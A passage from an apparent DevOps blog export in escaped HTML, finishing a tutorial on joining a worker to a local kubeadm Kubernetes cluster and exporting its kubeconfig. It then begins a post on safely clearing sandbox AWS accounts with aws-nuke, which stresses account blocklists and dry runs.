[plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e          [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #96D0FF\"\u003e            SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esystemctl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erestart\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtainerd.service\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003einstall\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubelet=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl=\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1.23\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.5-00\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-y\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eFrom there we should be ready to join the cluster.   When we ran \u003ccode\u003ekubeadm init\u003c/code\u003e previously it\nprinted a join command out that we could use but I’m going to show you how to do it if you\nwere coming back later and no longer had that token.\u003c/p\u003e\n\u003cp\u003eBack on the \u003cem\u003econtroplane\u003c/em\u003e node run:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etoken\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--print-join-command\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejoin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.7:6443\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow copy that command and run it with \u003ccode\u003esudo\u003c/code\u003e on the worker:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubeadm\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejoin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.7:6443\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--token\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ewxs197.cco6mjj9ricvu8ov\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--discovery-token-ca-cert-hash\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esha256:bd01c065240fa76f30a02ecb70a8cea6e329c9678994d4da1f6ccac7694b97fb\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eAfter this completes it’ll take a minute or two for everything to be synced up but if you go\nback to the master node you should have 2 ready nodes now:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e46\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e79\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003ch2\u003eAccessing the cluster outside of the VMs!\u003c/h2\u003e\n\u003cp\u003eNow the final part is to get the \u003ccode\u003eadmin.conf\u003c/code\u003e as a kubeconfig on your machine so you can control\nit from outside of the cluster.   To do this we can use scp\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etransfer\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane:/home/ubuntu/.kube/config\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elocal.config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNormally kubernetes configuration is in ~/.kube/config but I like to maint a separate file for\neach cluster and then I set the \u003ccode\u003eKUBECONFIG\u003c/code\u003e env var to access it.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eKUBECONFIG=local.config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eSTATUS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eROLES\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eVERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrol-plane,master\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e56\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e         \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eReady\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enon\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003ee\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                 \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e11\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003em\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ev1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","category":"Kubernetes","date":"2022-04-16T19:00:00-05:00","tags":["Linux","Kubernetes","DevOps","SRE"],"title":"Running a kubernetes cluster locally with kubeadm"},{"id":["2023","nuking_aws_account"],"path":"2023/nuking_aws_account","contentHtml":"\u003cp\u003eWhen you're an SRE/DevOps engineer you'll end up making AWS accounts and\ncreate a lot of cruft in your sandbox and development accounts. AWS\ndoes not make it easy to clear these up but there is a tool called\n\u003ca href=\"https://github.com/rebuy-de/aws-nuke\"\u003eaws-nuke\u003c/a\u003e that will do it for you!\u003c/p\u003e\n\u003ch1\u003eSafe Guards\u003c/h1\u003e\n\u003cp\u003eaws-nuke has a few safeguards in place to prevent inadvertent data loss.\nThe first of which is it requires you to alias the targetted account. I\nlike to put \u003ccode\u003enuke\u003c/code\u003e in the alias to make it clear.\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eiam\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecreate-account-alias\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--account-alias\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enuke-\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaccoun\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003et\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThe second safe-guard is the config takes a key called \u003ccode\u003eaccount-blocklist\u003c/code\u003e\nthat will guarantee nuke will not run against it no matter what.\u003c/p\u003e\n\u003cp\u003eThe final safety switch it has is it will not take any action by default,\nit will only execute a dry-run.   You need to run the CLI with\n\u003ccode\u003e--no-dry-run\u003c/code\u003e if you want it to take action.\u003c/p\u003e\n\u003ch1\u003eGetting Started\u003c/h1\u003e\n\u003cp\u003eYou configure \u003ccode\u003eaws-nuke\u003c/code\u003e with YAML, so the first step is to define that:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"\" data-theme=\"default\"\u003e\u003ccode data-language=\"\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eregions:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e  - us-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e  - global\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eaccount-blocklist:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e  - \"888888888888\" # production\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003eaccounts:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #adbac7\"\u003e  \"777777777777\": {} # nuke-\u0026#x3C;account\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eThis will prevent us from nuking our production account and target all resources\nin the account we actually want to nuke.\u003c/p\u003e\n\u003cp\u003eYou might want to have it nuke \u003cem\u003eALL REGIONS\u003c/em\u003e in AWS since you may not know which\nregions resources are deployed in.   To do this you can query the regions from AWS:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eec2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003edescribe-regions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--all-regions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--query\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Regions[*].RegionName\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--output\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etext\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003exargs\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esort\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eaf-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-northeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-northeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-northeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-southeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-southeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-southeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eap-southeast-4\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eca-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-central-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-north-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-south-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-west-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eeu-west-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eme-central-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eme-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003esa-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-east-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-west-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eus-west-2\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich would give you an updated config of:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"default\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #8DDB8C\"\u003eregions\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eglobal\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #768390\"\u003e# Global resources like IAM\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaf-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-east-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-northeast-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-northeast-2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-northeast-3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eap-south-1\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  - \u003c/span\u003e\u003cspan style=\"color: 